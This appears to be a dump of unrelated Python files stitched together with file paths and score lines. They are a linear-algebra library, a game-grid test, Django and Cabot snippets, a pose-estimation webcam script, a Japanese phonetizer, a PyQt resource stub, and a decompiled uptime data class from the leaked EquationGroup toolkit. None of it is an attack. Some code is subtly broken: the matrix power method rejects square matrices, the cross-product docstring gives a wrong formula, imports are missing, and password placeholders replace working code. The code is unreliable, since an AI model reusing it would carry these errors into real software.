from . import ArgumentError, DimensionError, REAL, Fraction, sin, arccos,\
_check_types
__all__ = ["Tuple", "Structure", "Matrix", "Vector", "SLE"]
class GeometricalError(Exception):
"""Raised geometrical order cannot be executed."""
def __init__(self, arg):
self.arg = arg
def __str__(self):
return self.arg
class MatrixError(Exception):
"""Raised if matrix operations fail due to inappropriate matrices."""
def __init__(self, issue):
self.arg = issue
def __str__(self):
return self.arg
class GeometricalWarning:
"""Raised if shape without opt="flat" is called, but flat returns 'False'.
Program does not get interrupted.
Use 'GeometricalWarning.disable_warning()' to ignore warning.
"""
__warning = True
def __init__(self, arg):
if GeometricalWarning.__warning:
logging.warning(arg)
else:
pass
@classmethod
def disable(cls):
"""Function to allow to permanently disable GeometricalWarning
in case the calculation are too inexact."""
GeometricalWarning.__warning = False
class Tuple:
"""Algebraic tuple. Can also be interpreted as
point in the coordinate system.
"""
def __init__(self, *args: REAL | list | tuple | 'Vector'):
_check_types(args, int, float, list, tuple, Fraction, Vector)
if type(args[0]) in (list, tuple) and len(args) == 1:
self._value = list(args[0])
else:
self._value = list(args)
def __iter__(self):
"""Returns iterator to convert tuple to iterable object."""
for ele in self._value:
yield ele
def __getitem__(self, item):
"""Returns value of 'item's dimension."""
return self._value[item]
def __repr__(self) -> str:
"""Returns string representation."""
return str(tuple(self._value))
def __eq__(self, other: 'Tuple') -> bool:
"""Checks if elements are equal."""
return self._value == other._value
def __len__(self) -> int:
"""Returns the length or dimension of a tuple"""
return len(self._value)
dim = __len__
def __neg__(self):
"""Returns negative tuple."""
return self * -1
def __add__(self, other: 'Tuple') -> 'Tuple':
"""Adds two tuples:
a + b = (a_1 + b_1, a_2 + b_2, ... , a_n + b_n)
"""
if not Tuple.dim_check(self, other):
raise DimensionError(other.dim(), self.dim())
result = []
for i in range(self.dim()):
result.append(self[i] + other[i])
return Tuple(*tuple(result))
def __sub__(self, other: 'Tuple') -> 'Tuple':
"""Reversed addition:
a - b = a + (-b)
"""
return self + -other
def __mul__(self, other: REAL):
"""Scalar multiplication:
r * a = (r*a_1, r*a_2, ... , r*a_n) (a e R^n, r e R)
"""
result = []
for ele in self._value:
result.append(ele * other)
return Tuple(*tuple(result))
__rmul__ = __mul__
def __truediv__(self, other: REAL) -> 'Tuple':
"""Division. Tuple by number only.Though mathematically
incorrect gives the possibility to return fractions for
correct division.
"""
ret_list = []
for ele in self:
if type(ele) == Fraction:
ret_list.append(ele / other)
else:
ret_list.append(Fraction(ele, other))
return Tuple(ret_list)
def append(self, value: REAL):
"""Adds value to Tuple."""
ret_value = copy.deepcopy(self._value)
ret_value.append(value)
return Tuple(ret_value)
def no_fractions(self) -> 'Tuple':
"""Returns Tuple that does not contain Fractions.
Converts Fractions to float.
"""
return Tuple([float(ele) for ele in self])
@staticmethod
def dim_check(*args) -> bool:
"""Checks if arguments have the same amount of dimensions."""
dimension = args[0].dim()
for ele in args:
if not ele.dim() == dimension:
return False
return True
class Vector(Tuple):
"""Vector."""
def __init__(self, *args: REAL | 'Tuple',
begin: Optional['Tuple'] = None,
end: Optional['Tuple'] = None):
"""Takes whether number arguments, vectorizes Tuple or
creates vector between two Tuples.
For number insert:
Vector(a_1, a_2, a_3)
for
┌ a_1 ┐
| a_2 | or (a_1, a_2, a_3)
└ a_3 ┘
For vectorization:
Vector(Tuple(a_1, a_2, a_3))
for
┌ a_1 ┐
| a_2 | or (a_1, a_2, a_3)
└ a_3 ┘
For linking of points:
Vector(begin=Tuple(a_1, a_2, a_3), end=Tuple(b_1, b_2, b_3))
for
┌ b_1 - a_1 ┐
| b_2 - a_2 | or (b_1 - a_1, b_2 - a_2, b_3 - a_3)
└ b_3 - a_3 ┘
"""
if not begin and type(args[0]) != Tuple:
super().__init__(*args)
elif not begin and type(args[0]) == Tuple:
super().__init__(*tuple(args[0]))
elif begin and end:
_check_types((begin, end), Tuple)
if begin.dim() != end.dim():
raise DimensionError(end.dim(), begin.dim())
super().__init__(
*tuple([end[i] - begin[i] for i in range(begin.dim())])
)
def __abs__(self) -> float:
"""Returns absolute of a vector.
Insert
abs(Vector(a_1, a_2, [...], a_n))
For
________________________________
\\/ (a_1)^2 + (a_2)^2 + ... + (a_n)^2
"""
res = 0
for i in range(self.dim()):
res += self._value[i] ** 2
self.abs = res ** 0.5
return self.abs
def __add__(self, other: 'Vector') -> 'Vector':
"""Adds two tuples:
a + b = (a_1 + b_1, a_2 + b_2, ... , a_n + b_n)
"""
if not Vector.dim_check(self, other):
raise DimensionError(other.dim(), self.dim())
result = []
for i in range(self.dim()):
result.append(self[i] + other[i])
return Vector(*tuple(result))
def __sub__(self, other: 'Vector') -> 'Vector':
"""Reversed addition:
a - b = a + (-b)
"""
return self + -other
def __mul__(self, other: REAL | 'Vector') -> REAL | 'Vector':
"""Either scalar product of two vectors or
scalar multiplication of scalar and vector.
Insert
Vector(a_1, a_2, [...], a_n) * Vector(b_1, b_2, [...], b_n)
For
(a_1, a_2, ..., a_n) * (b_1, b_2, ..., b_n)
= a_1 b_1 + a_2 b_2 + ... + a_n b_n
"""
if type(other) != Vector:
return Vector(Tuple(*tuple(self)) * other)
if not Vector.dim_check(self, other):
raise DimensionError(self.dim(), other.dim())
res = 0
for i in range(self.dim()):
res += self[i] * other[i]
return res
__rmul__ = __mul__
def __truediv__(self, other: REAL) -> 'Vector':
"""Division. Vector by number only.Though mathematically
incorrect gives the possibility to return fractions for
correct division.
"""
ret_list = []
for e in self:
if type(e) == Fraction:
ret_list.append(e / other)
else:
ret_list.append(Fraction(e, other))
return Vector(Tuple(ret_list))
def __pow__(self, power: int) -> REAL | 'Vector':
"""Returns result of power times scalar multiplied vector.
Power 0 returns unit-vector.
Insert
a = Vector(a_1, a_2, [...], a_n)
a**p
for
a * a * ... * a
p times
"""
_check_types((power,), int)
if power == 0:
return self.unit()
res = 1
for i in range(power):
res *= self
return res
def cross(self, other: 'Vector') -> 'Vector':
"""Vector multiplication.
Only 3 dimensions supported.
Insert
Vector(a_1, a_2, a_3).cross(Vector(b_1, b_2, b_3))
For
(a_1, a_2, a_3) x (b_1, b_2, b_3)
= (a_2 b_3 - a_3 b_2, a_1 b_1 - a_1 b_3, a_1 b_2 - a_2 b_1)
"""
if self.dim() != 3:
raise DimensionError(self.dim(), 3)
elif other.dim() != 3:
raise DimensionError(other.dim(), 3)
res = [0, 0, 0]
res[0] = (self[1] * other[2]) - (self[2] * other[1])
res[1] = (self[2] * other[0]) - (self[0] * other[2])
res[2] = (self[0] * other[1]) - (self[1] * other[0])
return Vector(*tuple(res))
def unit(self) -> 'Vector':
"""Returns vector with absolute 1 and same direction as self.
Insert
Vector(a_1, a_2, [...], a_n).unit()
For
a / |a|"""
if abs(self) == 0:
raise GeometricalError("Vector with absolute 0 has no unit vector")
else:
res = self * (1 / abs(self))
return res
def leading_zeros(self) -> int:
"""Returns number of leading zeros of a vector. Especially used for
matrix ref.
"""
leading_0 = 0
for ele in self._value:
if ele == 0:
leading_0 += 1
else:
break
return leading_0
def no_fractions(self) -> 'Vector':
"""Returns Vector that does not contain Fractions.
Converts Fractions to float.
"""
return Vector(*tuple([float(e) for e in self]))
@staticmethod
def spat(u: 'Vector', v: 'Vector', w: 'Vector') -> float:
"""Returns spat volume.
Insert
Vector.spat(Vector(a_1, a_2, a_3),
Vector(b_1, b_2, b_3),
Vector(c_1, c_2, c_3))
For
(a x b) * c"""
return (u.cross(v)) * w
@staticmethod
def angle(u: 'Vector', v: 'Vector') -> float:
"""Returns angle between two vectors.
Insert
Vector.angle(Vector(a_1, [...], a_n), Vector(b_1, [...], b_n))
For
(a_1, ..., a_n) (b_1, ..., b_n)
arccos(-------------------------------) = phi (1 < n < 4)
|a| * |b|
"""
if not Vector.dim_check(u, v):
raise DimensionError(v.dim(), u.dim())
if u.dim() not in (2, 3):
raise DimensionError(u.dim(), "2 or 3")
angle = arccos(u * v / (abs(u) * abs(v)))
return angle
class Structure:
"""Point structure"""
def __init__(self, *args: 'Tuple'):
"""Insert the edges of the structure."""
_check_types(args, Tuple)
if not Tuple.dim_check(*args):
raise DimensionError(
other="Tuples have different amount of dimensions."
)
if args[0].dim() > 3:
raise DimensionError(other="Tuples must have 2 or 3 dimensions.")
self.points = args
if self.points[0].dim() == 2:
self.points = [e.append(0) for e in self.points]
self.vectors = [Vector(begin=self.points[-1], end=self.points[0])]
for i in range(1, len(self.points)):
self.vectors.append(
Vector(begin=self.points[i - 1], end=self.points[i])
)
def flat(self) -> bool:
"""Returns 'True' if the points are in a three-dimensional area."""
if Tuple.dim_check(*self.points) and self.points[1].dim() == 2:
return True
unitvector = (self.vectors[0].cross(self.vectors[-1])).unit()
for i in range(len(self.vectors) - 1):
if (self.vectors[i].cross(self.vectors[i+1])).unit() != unitvector:
return False
return True
def circumference(self) -> float:
"""Returns the circumference of the area
opened by any amount of points.
"""
u = 0
for e in self.vectors:
u += abs(e)
return u
def area(self, opt: str = None):
"""Returns area opened by any amount of vectors."""
area = Vector(0, 0, 0)
if opt == "flat":
if not self.flat():
raise GeometricalError("No flat area found.")
if not self.flat():
GeometricalWarning("Area does not seem to be flat.")
for i in range(len(self.points) - 1):
abv = Vector(self.points[i] - self.points[0])
acv = Vector(self.points[i+1] - self.points[0])
area += abv.cross(acv) * 0.5
return abs(area)
@staticmethod
def triangulate(p: 'Tuple', q: 'Tuple', r: 'Tuple') -> float:
"""Returns area between three points."""
abv = Vector(begin=p, end=q)
acv = Vector(begin=p, end=r)
c = abs(abv)
b = abs(acv)
phi = Vector.angle(abv, acv)
area = 0.5 * b * c * (sin(phi))
return area
class Matrix(Tuple):
"""Mathematical matrix"""
def __init__(self, *args: tuple | list | Vector):
"""Initializes the matrix. Enter a list for each row.
insert
Matrix([a_11, a_12, a_13],
[a_21, a_22, a_23],
[a_31, a_32, a_33])
for
┌ a_11 a_12 a_13 ┐
| a_21 a_22 a_23 |
└ a_31 a_32 a_33 ┘
"""
if type(args[0]) == Vector and len(args) == 1:
value = []
for e in args[0]._value:
value.append([e])
super().__init__(*value)
else:
value = list(args)
for e in value:
if not len(value[0]) == len(e):
raise ArgumentError(e, f"row with {len(args[0])} members")
_check_types(e, int, float, Fraction)
super().__init__(*tuple(args))
def __repr__(self) -> str:
"""Prints matrix in an understandable view."""
ret_str = "\n"
if self.size()[0] == 1:
ret_str += "["
for e in self[0]:
ret_str += 2 * " " + str(e)
ret_str += 2 * " " + "]"
return ret_str
longest_element_list = list(map(str, self[0]))
for i in range(1, self.size()[0]):
for j in range(self.size()[1]):
if len(str(self[i][j])) > len(longest_element_list[j]):
longest_element_list[j] = str(self[i][j])
digits_list = list(map(len, longest_element_list))
b_element = sorted(digits_list)[-1]
if b_element < 3:
distance = 1
elif b_element < 8:
distance = 2
else:
distance = 3
for i in range(self.size()[0]):
if i == 0:
ret_str += "┌" + distance * " "
elif i == self.size()[0] - 1:
ret_str += "└" + distance * " "
else:
ret_str += "|" + distance * " "
for j in range(self.size()[1]):
ret_str += str(self[i][j])
ret_str += ((digits_list[j]-len(str(self[i][j]))+distance)*" ")
if i == 0:
ret_str += "┐"
elif i == self.size()[0] - 1:
ret_str += "┘"
else:
ret_str += "|"
ret_str += "\n"
return ret_str
def __round__(self, n: int = None) -> 'Matrix':
"""Returns matrix with rounded values."""
ret_mat = copy.deepcopy(self)
for i in range(self.size()[0]):
for j in range(self.size()[1]):
ret_mat._value[i][j] = round(ret_mat._value[i][j], n)
return ret_mat
def __neg__(self) -> 'Matrix':
"""Returns negative matrix."""
args = []
for i in range(self.size()[0]):
args.append([])
for j in range(self.size()[1]):
args[i].append(self[i][j] * -1)
return Matrix(*tuple(args))
def __add__(self, other: 'Matrix') -> 'Matrix':
"""Adds two matrices."""
if type(other) != Matrix:
raise ArgumentError(type(other), Matrix)
elif self.size() != other.size():
raise ArgumentError("matrix with size " + str(other.size()),
"matrix with size" + str(self.size()))
args = []
for i in range(self.size()[0]):
args.append([])
for j in range(self.size()[1]):
args[i].append(self[i][j] + other[i][j])
return Matrix(*tuple(args))
def __sub__(self, other: 'Matrix') -> 'Matrix':
"""Subtracts a matrix from another."""
return self + -other
def __mul__(self,
other: REAL | 'Vector' | 'Matrix')\
-> Union['Matrix', 'Vector']:
"""Multiplies two matrices."""
if type(other) in (int, float):
args = []
for i in range(self.size()[0]):
args.append([])
for e in self[i]:
args[i].append(e * other)
return Matrix(*tuple(args))
elif type(other) == Vector:
if self.size()[1] != other.dim():
raise MatrixError(f"Vector with size {other.dim()} cannot "
f"be multiplied by matrix with "
f"size {self.size()}")
v_matrix = Matrix(other)
ret_mat = self * v_matrix
args = ()
for e in ret_mat._value:
args += (e[0],)
return Vector(*args)
elif type(other) == Matrix:
if self.size()[1] != other.size()[0]:
raise MatrixError(f"Matrix with {other.size()[0]} "
f"rows cannot be multiplied"
f" by {self.size()[1]} column matrix.")
ret_mat = Matrix.create(self.size()[0], other.size()[1])
for i in range(self.size()[0]):
for j in range(other.size()[1]):
ret_mat[i][j] = self.row(i) * other.column(j)
return ret_mat
__rmul__ = __mul__
def __truediv__(self, other: REAL) -> 'Matrix':
"""Division. Matrix by number only.Though mathematically
incorrect gives the possibility to return fractions for
correct division.
"""
ret_mat = Matrix.create(*tuple(self.size()))
for index, ele in enumerate(self):
for j_index, j_ele in enumerate(ele):
ret_mat[index][j_index] = Fraction(j_ele, other)
return ret_mat
def __pow__(self, power: int) -> 'Matrix':
"""Power operation for matrix^scalar."""
if self.size()[0] == self.size()[1]:
raise MatrixError("Matrix must be quadratic.")
if type(power) is not int:
raise ArgumentError("Power od type"+str(type(power)), int)
ret_mat = self
if power == -1:
return self.inverse()
elif power == 0:
return Matrix.create_identity(self.size()[0])
else:
for i in range(1, power):
ret_mat *= self
return ret_mat
def size(self, option: str = None) -> list:
"""Returns list of matrix size. [m, n]"""
if not option:
return [len(self._value), len(self._value[0])]
elif option == "xy":
return [len(self._value[0]), len(self._value)]
def dim(self) -> int:
"""Returns the dimension of a matrix."""
return self.size()[0] * self.size()[1]
def index(self, element: REAL) -> list:
"""Returns position of given element in a list. Can contain
multiple return arguments. If ele is not in matrix an
empty list is returned.
"""
position = []
for i in range(self.size()[0]):
for e in self[i]:
if element == e:
position.append([self[i].index(e), i])
return position
def no_fractions(self) -> 'Matrix':
"""Returns a matrix with no Fraction members. Fractions are
converted to floats."""
ret_mat = Matrix.create(*tuple(self.size()))
for index, ele1 in enumerate(self):
for jindex, ele2 in enumerate(ele1):
ret_mat[index][jindex] = float(ele2)
return ret_mat
def column(self, column_index: int) -> 'Vector':
"""Returns column with specific index."""
ret_list = []
for e in self._value:
ret_list.append(e[column_index])
return Vector(*tuple(ret_list))
def row(self, row_index: int) -> 'Vector':
"""Returns row with specific index."""
return Vector(*tuple(self[row_index]))
def append(self, row=None, column=None) -> 'Matrix':
"""Method to append rows or columns to matrix."""
ret_mat = self
if row:
if len(row) != self.size()[1]:
raise MatrixError(f"Cannot append {len(row)} element row "
f"to matrix with size {self.size()}.")
ret_mat._value.append(list(row))
elif column:
if len(column) != self.size()[0]:
raise MatrixError(f"Cannot append {len(column)} element "
f"row to matrix with size{self.size()}")
for i in range(ret_mat.size()[1]):
ret_mat._value[i].append(column[i])
return ret_mat
def remove(self,
row_index: int = None,
column_index: int = None) -> 'Matrix':
"""Returns a matrix with given row or column removed."""
ret_mat = copy.deepcopy(self)
if row_index is not None:
del ret_mat._value[row_index]
if column_index is not None:
for i in range(len(ret_mat._value)):
del ret_mat._value[i][column_index]
return ret_mat
def transpose(self) -> 'Matrix':
"""Returns transposed matrix."""
args = []
for i in range(self.size()[1]):
args.append(list(self.column(i)))
return Matrix(*tuple(args))
def det(self) -> REAL:
"""Returns determinant of a matrix."""
if self.size()[0] != self.size()[1]:
raise MatrixError("Matrix must be quadratic.")
if self.size() == [1, 1]:
return self[0][0]
else:
answer = 0
for i in range(self.size()[1]):
smaller_matrix = self.remove(0, i)
k = (-1) ** i * self[0][i] * smaller_matrix.det()
answer += k
return answer
__abs__ = det
def cof(self) -> 'Matrix':
"""Returns cofactor matrix."""
ret_mat = Matrix.create(self.size()[0], self.size()[1])
for i in range(self.size()[1]):
for j in range(self.size()[0]):
smaller_matrix = self.remove(i, j)
if smaller_matrix.size() == [1, 1]:
ret_mat[i][j] = (-1) ** (i + j) * smaller_matrix[0][0]
else:
ret_mat[i][j] = (-1) ** (i + j) * self.remove(i, j).det()
return ret_mat
def adj(self) -> 'Matrix':
"""Returns adjunct of a matrix."""
return self.cof().transpose()
def inverse(self) -> 'Matrix':
"""Returns inverse matrix."""
if self.size()[0] != self.size()[1]:
raise MatrixError("Matrix must be quadratic.")
if self.det() == 0:
raise ZeroDivisionError("Determinant must not be 0.")
ret_mat = self.adj() / self.det()
return ret_mat
def ref(self) -> 'Matrix':
"""Row echelon form of a matrix."""
sorted_arg_list = Matrix.__leading_zero_sort(list(self))
for i in range(len(sorted_arg_list)):
sorted_arg_list = Matrix.__leading_zero_sort(sorted_arg_list)
element = sorted_arg_list[i]
if element.leading_zeros() == len(element):
continue
sorted_arg_list[i] = element / element[element.leading_zeros()]
if i == len(sorted_arg_list):
break
for j in range(i+1, len(sorted_arg_list)):
jelement = sorted_arg_list[j]
if jelement.leading_zeros() == element.leading_zeros():
op_vector = sorted_arg_list[i]\
* jelement[jelement.leading_zeros()]
sorted_arg_list[j] = jelement - op_vector
sorted_arg_list = tuple(map(list, sorted_arg_list))
return Matrix(*sorted_arg_list)
def rank(self) -> int:
"""Rank of the matrix."""
ret_val = 0
ref_mat = self.ref()
for ele in ref_mat._value:
for sub_ele in ele:
if abs(sub_ele) > 1e-14:
ret_val += 1
break
return ret_val
def rref(self) -> 'Matrix':
"""Reduced row echelon form."""
ret_list = [Vector(Tuple(e)) for e in self.ref()]
for i in range(self.rank()-1, 0, -1):
for j in range(i):
ret_list[j] -= ret_list[i]\
* ret_list[j][ret_list[i].leading_zeros()]
return Matrix(*tuple([list(e) for e in ret_list]))
@staticmethod
def create(m: int, n: int) -> 'Matrix':
"""Staticmethod to create an m X n matrix that contains
only zeros.
"""
args = []
for i in range(m):
args.append([])
for j in range(n):
args[i].append(0)
return Matrix(*tuple(args))
@staticmethod
def create_identity(n: int) -> 'Matrix':
"""Staticmethod to create an identity matrix with any
amount of rows.
"""
ret_mat = Matrix.create(n, n)
for i in range(n):
for j in range(n):
ret_mat[i][j] = 1 if i == j else 0
return ret_mat
@staticmethod
def __leading_zero_sort(arg_list: list) -> 'list':
"""Sorts value list of matrix for ref."""
longest_row = []
for index, element in enumerate(arg_list):
longest_row.append(
[Vector(Tuple(list(element))).leading_zeros(), index]
)
sorted_longest_row = sorted(longest_row)
sorted_arg_list = []
for i in range(len(arg_list)):
sorted_arg_list.append(
Vector(Tuple(list(arg_list[sorted_longest_row[i][1]])))
)
return sorted_arg_list
class SLE(Matrix):
"""System of linear equations"""
def __init__(self, *args: List[REAL]):
"""Initializes a matrix that contains both, coefficients and results.
Insert in the following way:
SLE([a_11, a_12, a_13, b_1],
[a_21, a_22, a_23, b_2],
[a_31, a_32, a_33, b_3])
for
| a_11 x_1 + a_12 x_2 + a_13 x_3 = b_1 |
| a_21 x_1 + a_22 x_2 + a_23 x_3 = b_2 |
| a_31 x_1 + a_32 x_2 + a_33 x_3 = b_3 |
"""
super().__init__(*args)
if self.size()[1] != self.size()[0] + 1:
raise MatrixError(
"Matrix for SLE must have the size m x n where n = m +1"
)
self.A = self.remove(column_index=-1)
self.b = self.column(-1)
def solve(self) -> 'Vector':
"""Splits matrix in coefficients and results and
uses matrix multiplication to solve the system.
"""
return self.A.inverse() * self.b
def x(self, index: int) -> REAL:
"""Returns the unknown of given index. Starts at 0"""
return self.solve()[index]
| 2.765625 | 3 |
test/test_grid_interface.py | Anthonyntilelli/prewar_login_game | 1 | 12789722 | """Interface Test with Pytest."""
import pytest # type: ignore
from grid.interface import Interface
from grid.settings import DEFAULT_EASY
# Protected access used to test functions
# Used by fixtures functions
# pylint: disable=W0212, W0621
@pytest.fixture(scope="function")
def easy_interface():
"""Create easy grid interface."""
return Interface(4, DEFAULT_EASY)
def test__init__(easy_interface):
"""Test init correct and starts at upper left."""
tester = easy_interface
assert tester.line == 4
assert tester.place == 7
assert tester.start == (4, 7, 27)
assert tester.end == (19, 18, 38)
def test_keyboard_input_movement(easy_interface):
"""Test moment for keyboard_input."""
tester = easy_interface
# Move down
assert tester.keyboard_input("KEY_DOWN") == "M"
assert tester.keyboard_input("s") == "M"
assert tester.line == 6 # moved down 2
# Move Up
assert tester.keyboard_input("KEY_UP") == "M"
assert tester.keyboard_input("w") == "M"
assert tester.line == 4 # moved up 2
# Move Right
assert tester.keyboard_input("KEY_RIGHT") == "M"
assert tester.keyboard_input("d") == "M"
assert tester.place == 9 # moved up 2
# Move Left
assert tester.keyboard_input("KEY_LEFT") == "M"
assert tester.keyboard_input("a") == "M"
assert tester.place == 7 # moved up 2
def test_keyboard_input_non_movement(easy_interface):
"""Test quit, enter and non-recognized on keyboard_input."""
tester = easy_interface
assert tester.keyboard_input("q") == "Q"
assert tester.keyboard_input("\x1b") == "Q"
assert tester.keyboard_input("\n") == "S"
assert tester.keyboard_input("i") == "N"
def test_exact_grid_location(easy_interface):
"""Tests exact_grid_location translate to columns properly."""
tester = easy_interface
assert tester.line == 4
assert tester.place == 7
assert tester.exact_grid_location() == (True, 0, 0)
# Middle Right position
tester._line = 12
tester._place = 28
assert tester.exact_grid_location() == (False, 8, 1)
def test_movement_boundaries(easy_interface):
"""Test to ensure user cannot move outside grid."""
tester = easy_interface
assert not tester._move_up()
assert not tester._move_left()
# Move to lower right
tester._line = tester.end[0]
tester._place = tester.end[2]
assert not tester._move_down()
assert not tester._move_right()
def test_movement_horizontal_jump(easy_interface):
"""Test that player does not enter right filler column."""
tester = easy_interface
# Right Jump
tester._place = 18
assert tester._move_right()
assert tester.place == 27
# Left Jump
assert tester._move_left()
assert tester.place == 18
| 2.734375 | 3 |
python/20190311/my_djangos/django_share_app/shares/admin.py | Realize0917/career | 3 | 12789723 | from django.contrib import admin
from .models import Upload
admin.site.register(Upload)
| 1.179688 | 1 |
Leak #5 - Lost In Translation/windows/Resources/Dsz/PyScripts/Lib/dsz/mca/status/cmd/uptime/data/dsz/__init__.py | bidhata/EquationGroupLeaks | 9 | 12789724 | # uncompyle6 version 2.9.10
# Python bytecode 2.7 (62211)
# Decompiled from: Python 3.6.0b2 (default, Oct 11 2016, 05:27:10)
# [GCC 6.2.0 20161005]
# Embedded file name: __init__.py
import dsz
import dsz.cmd
import dsz.data
import dsz.lp
class UpTime(dsz.data.Task):
def __init__(self, cmd=None):
dsz.data.Task.__init__(self, cmd)
def _LoadData(self):
try:
self.IdleTime = UpTime.IdleTime(dsz.cmd.data.Get('IdleTime', dsz.TYPE_OBJECT)[0])
except:
self.IdleTime = None
try:
self.UpTime = UpTime.UpTime(dsz.cmd.data.Get('UpTime', dsz.TYPE_OBJECT)[0])
except:
self.UpTime = None
return
class IdleTime(dsz.data.DataBean):
def __init__(self, obj):
try:
self.Days = dsz.cmd.data.ObjectGet(obj, 'Days', dsz.TYPE_INT)[0]
except:
self.Days = None
try:
self.Hours = dsz.cmd.data.ObjectGet(obj, 'Hours', dsz.TYPE_INT)[0]
except:
self.Hours = None
try:
self.Minutes = dsz.cmd.data.ObjectGet(obj, 'Minutes', dsz.TYPE_INT)[0]
except:
self.Minutes = None
try:
self.Seconds = dsz.cmd.data.ObjectGet(obj, 'Seconds', dsz.TYPE_INT)[0]
except:
self.Seconds = None
return
class UpTime(dsz.data.DataBean):
def __init__(self, obj):
try:
self.Days = dsz.cmd.data.ObjectGet(obj, 'Days', dsz.TYPE_INT)[0]
except:
self.Days = None
try:
self.Hours = dsz.cmd.data.ObjectGet(obj, 'Hours', dsz.TYPE_INT)[0]
except:
self.Hours = None
try:
self.Minutes = dsz.cmd.data.ObjectGet(obj, 'Minutes', dsz.TYPE_INT)[0]
except:
self.Minutes = None
try:
self.Seconds = dsz.cmd.data.ObjectGet(obj, 'Seconds', dsz.TYPE_INT)[0]
except:
self.Seconds = None
return
dsz.data.RegisterCommand('UpTime', UpTime)
UPTIME = UpTime
uptime = UpTime | 2.375 | 2 |
profile_generator/model/color/constants.py | nethy/profile-generator | 0 | 12789725 | <filename>profile_generator/model/color/constants.py
from profile_generator.model.color.space import SRGB
from . import lab
MIDDLE_GREY_LUMINANCE_SRGB = SRGB.gamma(lab.to_xyz([50, 0, 0])[1])
| 1.773438 | 2 |
ScratchWork/SkeletonGrabber.py | RoHawks/InnovationChallenge2021 | 0 | 12789726 | import cv2
import pyvirtualcam
import numpy as np
#from pynput import keyboard
from tf_pose import common
from tf_pose.estimator import TfPoseEstimator
from tf_pose.networks import get_graph_path, model_wh
import time
from tf_pose.common import CocoPart
from util import calcThetas
from comparator import compareBodies
import json
from video_filter import Filter
class Control:
""" main class for this project. Starts webcam capture and sends output to virtual camera"""
def __init__(self, webcam_source=1, width=640, height=480, fps=30):
""" sets user preferences for resolution and fps, starts webcam capture
:param webcam_source: webcam source 0 is the laptop webcam and 1 is the usb webcam
:type webcam_source: int
:param width: width of webcam stream
:type width: int
:param height: height of webcam stream
:type height: int
:param fps: fps of videocam stream
:type fps: int
"""
self.webcam_source = webcam_source
# initialize webcam capture
self.cam = cv2.VideoCapture(self.webcam_source)
self.cam.set(cv2.CAP_PROP_FRAME_WIDTH, width)
self.cam.set(cv2.CAP_PROP_FRAME_HEIGHT, height)
self.cam.set(cv2.CAP_PROP_FPS, fps)
# Query final capture device values (different from what i set??)
# save as object variables
self.width = int(self.cam.get(cv2.CAP_PROP_FRAME_WIDTH))
self.height = int(self.cam.get(cv2.CAP_PROP_FRAME_HEIGHT))
self.fps = self.cam.get(cv2.CAP_PROP_FPS)
# print out status
print('webcam capture started ({}x{} @ {}fps)'.format(self.width,
self.height, self.fps))
# filter object
self.videofilter = Filter(self.width, self.height)
# self.logger = logger.Logger()
def getangles(self):
""" contains main while loop to constantly capture webcam, process, and output
:return: None
"""
user = "tester"
with pyvirtualcam.Camera(width=self.width, height=self.height, fps=self.fps) as virtual_cam:
virtual_cam.delay = 0
fps_time = 0
frame_count = 0
e = TfPoseEstimator(get_graph_path("mobilenet_v2_small"), target_size=(self.width, self.height))
print(f'virtual camera started ({virtual_cam.width}x{virtual_cam.height} @ {virtual_cam.fps}fps)')
print('TfPoseEstimator loaded')
while True:
frame_count += 1
# STEP 1: capture video from webcam
ret, raw_frame = self.cam.read()
# STEP 2: process frames
if raw_frame is None:
continue
humans = e.inference(raw_frame, resize_to_default=True, upsample_size=4)
return str(calcThetas(humans)) | 2.625 | 3 |
jphones/phonetizer.py | JRMeyer/jphones | 2 | 12789727 | # The functions here assume input as a list of tokens (ie tokenized sentences),
# where each token was information about whether it is a word or a number.
# The text is assumed to be either japanese of English (target application is
# Japanese text which may contain English or Romanji).
#
# The token type may be (1) Hiragana // native Japanese words
# (2) Katakana // foreign words
# (3) Kanji
# (4) Romaji // Hepburn romanization
# (5) English
#
#
# Dependencies: pip3 install six semidbm pykakasi
import pykakasi as pkk
import japanese_numbers as jnums
from jphones import num2kana
class Phonetizer:
def __init__(self):
kakasi = pkk.kakasi()
kakasi.setMode("H","a") # Hiragana to ascii
kakasi.setMode("K","a") # Katakana to ascii
kakasi.setMode("J","a") # Japanese to ascii
kakasi.setMode("r","Hepburn") # use Hepburn Roman table
self.numConverter = num2kana.Converter()
self.wordConverter = kakasi.getConverter()
self.phonemes=''
self.token=''
self.type=''
def convert_token(self, token):
self.type=token['type']
self.token=token['token']
if token['type'] == 'word':
self.phonemes = self.wordConverter.do(self.token)
elif token['type'] == 'number':
if ',' in self.token:
self.token = self.token.replace(",", "")
kana=self.numConverter.conv(jnums.to_arabic(token['token'])[0])
self.phonemes = self.wordConverter.do(kana)
def get_phonemes(self, token):
self.convert_token(token)
if self.phonemes == "NUM-TOO-LARGE":
newToken = {'phonemes' : [self.phonemes], 'token': self.token, 'type': self.type}
else:
newToken = {'phonemes' : list(self.phonemes), 'token': self.token, 'type': self.type}
return newToken
def demo():
tokens= [{'type':'word', 'token': u'日本'},
{'type':'word', 'token': u'<PASSWORD>'},
{'type':'word', 'token': u'食べる'},
{'type':'word', 'token': u'<PASSWORD>'},
{'type':'word', 'token': u'<PASSWORD>'},
{'type':'number', 'token': u'<PASSWORD>'},
{'type':'number', 'token': u'<PASSWORD>'},
{'type':'number', 'token': u'<PASSWORD>'},
{'type':'number', 'token': u'<PASSWORD>'}]
for token in tokens:
j2p = Phonetizer()
phonemes = j2p.get_phonemes(token)
print(phonemes)
if __name__ == '__main__':
demo()
| 3.625 | 4 |
cabot/cabotapp/management/commands/create_cabot_superuser.py | TheBestBurler/cabot | 0 | 12789728 | import os
from django.contrib.auth import get_user_model
from django.core.management.base import BaseCommand
from django.db import IntegrityError
class Command(BaseCommand):
def handle(self, *args, **options):
username = os.environ.get('CABOT_SUPERUSER_USERNAME')
if username:
try:
get_user_model().objects.create_superuser(
username=username,
email=os.environ.get('CABOT_SUPERUSER_EMAIL'),
password=<PASSWORD>('<PASSWORD>')
)
print('Created superuser "{}"'.format(username))
except IntegrityError:
print('Superuser "{}" already exists'.format(username))
else:
print('CABOT_SUPERUSER_USERNAME environment variable not found, not creating superuser')
| 2.765625 | 3 |
Logos_rc.py | digvijayad/Sentiment-Analysis | 0 | 12789729 | # -*- coding: utf-8 -*-
# Resource object code
#
# Created by: The Resource Compiler for PyQt4 (Qt v4.8.7)
#
# WARNING! All changes made in this file will be lost!
from PyQt4 import QtCore
qt_resource_data = b"\
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qt_resource_name = b"\
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qt_resource_struct = b"\
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def qInitResources():
QtCore.qRegisterResourceData(0x01, qt_resource_struct, qt_resource_name, qt_resource_data)
def qCleanupResources():
